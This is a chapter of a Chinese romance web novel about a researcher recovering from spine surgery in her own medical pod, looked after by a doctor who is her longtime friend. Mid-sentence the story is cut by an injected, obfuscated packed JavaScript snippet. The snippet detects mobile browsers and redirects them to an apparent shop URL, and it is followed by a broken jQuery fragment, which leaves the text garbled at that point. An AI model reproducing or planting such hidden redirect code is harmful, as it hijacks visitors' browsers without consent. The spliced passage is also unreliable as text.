宁彦初再次醒来时，视野里漫开一片柔和的蓝光，是她再熟悉不过的医疗仓运行时的光线。只是她从未想过有一天她会以现在这样的角度，这样的身份亲身在里面体验。
鼻尖萦绕着淡淡的消毒水味，却被医疗仓特有的清冽气息中和，并不刺鼻。这是医疗仓加氧放大循环系统营造的康复环境，最早这个设定出现在宋辞写给小患者乐乐的方案-2里，看得出来，所有能平移的东西都被宋辞平移到了宁彦初这里。
后腰没有预想中尖锐的疼痛，只有一丝轻微的木感，显然是医疗仓持续注入的精准计量麻醉在发挥作用。连嘴角都带着恰到好处的湿润感，这细微的护理细节，也出自她亲手研发的医疗仓。
此刻宁彦初才切身感受到，这台机器试验运行这么久，已经能很好地承接术后治疗与康复，同时作为一个无形的护工，对舱内患者进行着360度无死角的细致照料，这点她一直有设计其中，一并编写在程序里，但是在临床测试使用时，他们团队和医院会将更多的关注点放在治疗层面，在术后康复环节大多数人并不关注，收到的细节反馈也并不多。
她有些好奇的地动了动手指，指尖传来一丝轻微的电流感。
按照之前的设定，如果她苏醒，外面的人应该会从控制面板看到……
就是不知道谁会在外面？
宁彦初心里闪过一丝微妙的期待。
下一秒，医疗仓的透明舱盖便缓缓升起，映入眼帘的，是宋辞带着明显疲惫却依旧英俊的脸。
他眼底青黑，穿了件浅灰色T恤，外面，外面没穿白大褂，裸露的手臂线条流畅，青筋凸起又透着几分苍白。
宋辞正半倚在医疗仓旁的操作台前，目光一瞬不瞬地锁在屏幕上跳动的数据上，自然不会错过她的苏醒以及小动作。
“醒了？”他开口，声音带着一丝不易察觉的沙哑，眼底却在看清她睁眼的瞬间，骤然亮起细碎的光。
他没有立刻靠近，而是先飞快扫过屏幕上的各项体征数据，确认所有指标都平稳后，才俯身看向她，语气里藏着小心翼翼：“感觉怎么样？有没有哪里不舒服？”
宁彦初眨了眨眼，开口发现自己的声音虚弱得像一阵风：“还有点懵……这是……”
她艰难转动头，缓缓环顾四周，才发现自己身处一个陌生房间，窗帘没拉，窗外已是一片浓黑的夜色。现在墙边放满了宁彦初熟悉的仪器和设备。
“你还在医院。这是一间单人病房，而你此刻躺在你的’宝贝’里。我们把它连主机一起搬来了。”宋辞轻笑一声，伸手替她理了理额前凌乱的碎发，指尖的触感轻得像对待稀世珍宝。
宁彦初被宋辞珍视的动作搞得眨了眨眼睛。
“你这么是什么眼神？”宋辞有些失笑，他自上而下俯视着宁彦初，并没有收回自己的手。
宁彦初用现在不够灵光的大脑思索几秒，小声简单回答：“不太习惯你突然这样……”
宋辞顿了顿，轻微又悠长地叹了口气，“那就努力习惯吧……按我们之前定好的方案，术前、术中到术后康复，全程都依托你的医疗仓完成。不过……”
宋辞继续说起了治疗，没再响应宁彦初的打岔，“因为医疗仓的部分功能还会持续对接乐乐那边的术后康复情况，虽然已经做好了分区，你们之间不会影响。保险起见，贾舒然建议从中心再抽调一个医疗仓过来，你如果觉得可以，我可以帮你和她说一声。”
宁彦初这才缓过神，努力告诫自己忽略宋辞那句“那就努力习惯”到底蕴含什么深意，恍然想起术前两人敲定的手术方案，是她坚持要求，将所有治疗环节都交给医疗仓。
宋辞见她短暂怔愣，误以为她在担心他们对医疗仓的操作，哑着嗓子补充：“我让贾舒然他们先回去了，他们守到十一点才走，明早会来替我。放心，医疗仓的所有参数，都是我们一起调试确认的。”
宁彦初回神道：“可以直接再调一个医疗仓过来，乐乐那边也需要核心模块使用，虽然单个医疗仓核心系统支持同时接入3个不同患者，但是分开还是方便点，尤其是我在使用主机，肯定会影响乐乐那边的算力……”
她这段话说的很慢，声音滞涩，她说到算力时后知后觉地想起什么问道：“对了，现在几点了？”
宋辞了然点头，抬起手腕看了眼表，“北京时间，凌晨两点四十三分。”
宁彦初立刻蹙起眉，嘴还没张开，就被宋辞抢先：“我刚已经歇过一会儿了，他们在的时候，我也吃过东西了。”
他似是看穿了她的顾虑，补充道，“我这边没事。医疗仓定时输入营养，你现在应该不会觉得饿。”
宋辞没有打算和任何人说短短一个下午加半个晚上，他是怎么从兵荒马乱中挺过来的。
面上看，宋辞完全遵照了宁彦初的要求，将核心治疗与康复全权交付给医疗仓。可这其中只有他自己知道，这份“交付”背后是他做到极致的部署与安排。
从宁彦初被推进手术室的那一刻起，他就没敢放松一分一秒，立刻着手细化术后恢复安排。只因患者是宁彦初，他本就带着200%的私心与上心，如今还要将她的医疗仓正式纳入康复流程，更是不敢有半分懈怠。
手术后的整整一个下午，他把自己关在宁彦初的实验室里，强迫自己专注，将她过往所有的实验数据、医疗仓的运行日志，连同这次手术的详细报告，逐字逐句梳理、反复推演。他要做的，不仅是确保医疗仓的功能能精准辅助她恢复，更要规避任何可能让她产生不适的参数设置，哪怕只是万分之一的风险，都要彻底排除。
“你的术后恢复方案，其实做了些微调。”宋辞指了指医疗仓的主控屏幕，“我知道你信得过自己的技术，但我比任何人都了解你的身体。接下来这段时间，你得听我的。”
宁彦初望着他，眼底闪过惊讶，她比谁都清楚，自己的医疗仓操作有多复杂、参数有多繁琐，要完全掌握并制定出精准的恢复方案，需要耗费多少时间与精力。
但是……什么叫“我比任何人都了解你的身体”？！
“先喝水。”宋辞端来一杯温水，上面插了一根吸管，“医疗仓虽能维持恒温恒湿，但作为医生我还是要鼓励患者在可控情况下主动活动，这样也有助于各项生理机能恢复。保持小口抿就行……”
她鼓起腮帮轻嘬了一口，湿润的触感缓解了喉咙的干涩，宁彦初舒服地眯了眯眼。她凝视着宋辞专注的侧脸，暖流顺着心底缓缓蔓延。
现在回忆起来，在她有记忆以来，每次遭遇挫折或者脆弱的时候，宋辞好像都在，从小小一个到现在大大一只，永远悄无声息地站在她身后，明明比她小，却好像总能替她挡下所有风雨，把一切都安排得妥妥当当。
“宋辞。”她轻声唤他，“谢谢你啊。”
宋辞抬眼，撞进她温柔的眼眸里，心底的疲惫仿佛被瞬间抚平。
他放下水杯，手指尖轻轻触碰她露在外的指尖，没有十指相扣，却好像也能传递温度。
宁彦初感受着指尖的触感，不露声色。
宋辞看着控制面板上她扬起还在持续跳动的血压和心跳数据，微微勾起嘴角，“别说傻话了，好好休息，早点康复就是对我也是对你项目的最大支持。”
他像是想起了什么，话音顿了顿，语气忽然又变得严肃：“不过彦初，恢复过程可能会有点枯燥。医疗仓会实时监测你的身体数据，我也会根据数据随时调整方案。所以，你得乖乖配合我，不许固执，不许偷懒，更不许胡思乱想。”
看着他一本正经的模样，宁彦初忍不住弯了弯嘴角，轻轻点头：“好，听你的。不过你是不是可以去睡——”
宁彦初还没有说完，宋辞先伸出一只手指，宁彦初会意，抿住嘴巴。
得到她的承诺，宋辞紧绷的嘴角才缓缓舒展，露出一抹浅淡的笑。他俯身替她理了理身上接驳的接触线，目光再次锁定屏幕。夜色漫过窗户，落在他的侧脸上，勾勒出柔和却坚定的轮廓。
“闭眼睡儿。听话。”
病房里很静，只有医疗仓指示灯规律闪烁的微光，与屏幕上数据跳动的细微声响。宋辞坐在一旁，目光在数据与她的脸庞间来回切换，眼底盛满了化不开的温柔与坚定。
*
手术恢复的日子里，宁彦初并没有像自己设想的那样，整日整夜地待在医疗仓里，当一个无聊又脆弱的玻璃娃娃。
和许多做完脊柱手术的病人一样，她也需要循序渐进的活动与适应。于是，医疗仓不再是她唯一的“栖息地”，更多时候，她会被安置在一张特制的轮椅上。轮椅靠背贴合她的脊柱弧度，扶手处嵌着柔软的软垫，身下铺着减压坐垫。
轮椅是小贾给宁彦初推过来的，上面印着国家医学研究中心的logo。
“所里知道您受伤后，上下都特别担心。”小贾一边帮宁彦初整理轮椅扶手上的线路，一边笑着说，“不仅额外批了一大笔专项经费，还特意把罗教授团队研发的这款定制轮椅送了过来。不过这轮椅一到，宋大夫就先拿去了，连着熬了两个晚上，专门跟您的医疗仓做匹配调试，费了老大劲才弄好呢。”
小贾说起宋辞时，语气里满是藏不住的赞许，当初生日会上惊鸿一瞥的帅弟弟，如今在她眼里早已是成熟稳重、医术精湛的宋大夫，滤镜厚得不像话。
宋辞对轮椅的每一处细节都经过反复调试，本来计划第一时间给宁彦初推过来让好好用用，结果那时候被临时安排了一场手术，只好拜托小贾去送货上门。
而此刻，宁彦初的后腰贴着一块轻薄的监测贴片，连接着一根细细的数据线，线的另一端插在轮椅扶手上的接口里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376320|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。接口旁是一块小型显示屏，实时跳动着她的心率、呼吸频率和脊柱压力数据。只要数据出现一丝异常，轮椅会自动发出提示音，医疗仓也会同步记录，方便宋辞随时查看。
“这样既保证安全，又能让你活动活动。”宋辞第一次把她从医疗仓里抱出来，放进轮椅时，语气很平静，却目光闪烁，掩不住眼底的紧张，“你要是觉得累，随时告诉我，我们立刻回去。”
宁彦初看着他束手束脚的样子，和刚才她在走廊看到他指挥实习医生雷厉风行的模样判若两人，忍不住笑：“我又不是瓷娃娃。”
“你比瓷娃娃还珍贵。”宋辞低声嘟哝了一句，声音轻得像怕被她听见，却又清晰地落进她耳朵里。
于是，医院的走廊里，偶尔会出现这样一幕：
宁彦初坐在轮椅上，身上连着细细的观察线，神情依旧清冷，宽大的病号服下是掩盖不住的纤细，却比往日多了几分病后的苍白与柔和。宋辞推着她，步伐不快，每走几步就会侧头看她一眼，像是在确认她有没有不适。
她现在去实验室，是为了处理一些紧急的数据和邮件。
宋辞原本不同意：“你现在的任务是休息。”
“我躺着反而睡不着。”宁彦初抬眼看他，眼神很认真，“有些数据只有我能处理，早一点做完，对乐乐的后续治疗也有帮助。”
宋大夫陷入沉默，嘴角绷成了一条直线。
宁彦初一双大眼睛从下往上看着一身白大褂的宋辞，语调是自己都没有意识到的微扬，竟然有一丝丝撒娇的意味：“而且长期躺着，我的后腰总感觉很奇怪。”
“哪里奇怪？”宋辞目光微闪，声音一下子就紧了，推着轮椅的手也不自觉放慢，“疼？麻？还是有刺痛感？”
他的视线已经越过她的肩膀，落在她后腰的位置，像是隔着衣服也能看到伤口。
宁彦初被他这副紧张的样子逗得心里一软，却还是老实回答：“不是疼，就是……有点发沉，像压着什么东西。坐着反而舒服些。”
宋辞沉默了两秒，像是在判断她这句话的意思是症状描述还是在胡搅蛮缠。
片刻后，他才低声道：“那就坐一会儿。”
他顿了顿，又补了一句，语气不容置疑：“但我必须在旁边。”
宁彦初看着他紧绷的侧脸，眼底闪过一丝笑意，轻轻“嗯”了一声。
于是，实验室里又多了一道固定的风景。
宁彦初坐在轮椅上，面前是电脑屏幕，指尖在键盘上敲击得很轻，动作比平时慢了许多，却依旧精准。宋辞则坐在她身后的椅子上，目光时不时从她的侧脸移到她扶手上的监测屏，确认数据平稳后，才会放心地低头处理自己的病历。
偶尔，宁彦初会因为久坐而微微蹙眉，宋辞立刻就会察觉：“累了？”
“有一点。”她如实回答。
“那就先到这儿。”他合上自己的电脑，起身，“回病房。”
“我还能再坚持一会儿——”
“我说，回病房。”宋辞的语气很轻，却带着不容拒绝的坚定。他俯身，替她合上电脑，动作自然地握住她的手，顺手拿走了她的鼠标，“听话。”
宁彦初瞪着被宋辞抓住的手，心跳骤然加速，嘴唇嗫嚅半天，故作镇定地抬头斜眼瞅宋辞：“宋大夫。”
“嗯？”宋辞手指在宁彦初手背短暂停留，她手背细糯的触感还在指尖。
“你今天没有手术吗？”宁彦初问。
“没有。”宋辞回答得十分坦然。
“……我刚去卫生间时在走廊碰到了周大夫。”
宋辞喷了口鼻息，算是回应。
“他说你今天把两台手术都甩给他了，他要死了。”宁彦初撇着一边嘴角语气略带嫌弃，最后几个字一字一顿。
宋辞瞅着宁彦初的表情，很想笑又生生忍住了，他发现宁彦初自打来了医院以后，整个人在工作和生活上灵动了许多，像是恢复了不少活力，仿佛能看到一些小时候的影子。
那也是宋辞记忆里最鲜活、最珍视的一部分。
宋辞歪嘴一笑，“老周的能量和潜力远不止于此，给他的都是最简单的手术，我们都相信他游刃有余。”
俩人就这么一路插科打诨着往外走，走廊里偶尔有医生护士经过，看见这一幕都忍不住偷偷交换眼神。可想而知最近论坛上又会掀起怎样的热评。
宁彦初被他逗得心情也好了不少，连带着后腰那点不适感都淡了些。
她侧头看他，忽然觉得，如果能被他一直这样推着，俩人说着话，那走廊再长些也挺好的……
至于那些实验数据，先等等，好像也不是不行。
*
“宁专家。”这时一道女声突然在走廊拐弯处传来，熟悉的声音让正在闲谈的俩人皆是一愣。